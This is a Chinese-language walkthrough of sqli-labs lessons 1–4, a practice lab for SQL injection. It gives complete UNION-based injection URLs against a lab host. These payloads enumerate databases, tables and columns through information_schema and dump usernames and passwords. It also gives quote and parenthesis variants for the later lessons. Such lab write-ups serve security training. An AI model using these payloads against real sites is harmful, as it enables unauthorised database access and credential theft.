0%

sqli-labs靶场Less-1-4

Less1

验证存在SQL注入

http://47.101.62.20:11567/Less-1/?id=1 后面直接添加一个’,报错

image

使用order by得到有多少字段数

依次请求order by 1,2,3,4直到报错。

1
http://47.101.62.20:11567/Less-1/?id=1%27order%20by%204--+

image

证明有三个字段

使用union联合注入,得到能回显的字段

请求 ?id=-1 union select 1,2,3–+

id=-1为假,所以页面会执行union select 1,2,3。然后返回能回显的字段

1
http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,2,3--+

image

得到能回显的字段是2和3

查数据库中的数据

列出所有数据库

1
http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

此时的SQL语句为

1
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

image

爆 security 数据库的数据表

1
http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

此时的SQL语句为

1
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

image

爆 users 表的列

1
http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

此时的SQL语句为

1
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1

image

爆 users表中username和password的值

1
http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

此时的SQL语句为

1
SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1

image

Less2

可以成功注入的有:

1
2
or 1=1
or 1=1 --+

其余的ppayload于less1中一致,只需要将less1中的’去掉即可

Less3

可以成功注入的有:

1
2
) or '1'=('1' 
) or 1=1 --+

其余的ppayload于less1中一致,只需要将less1中的’换成’)即可

Less4

这里id参数使用了””和()包装

可以成功注入的有:

1
2
“) or ”1”=(“1
“) or 1=1 --+

其余的ppayload于less1中一致,只需要将less1中的’换成”)即可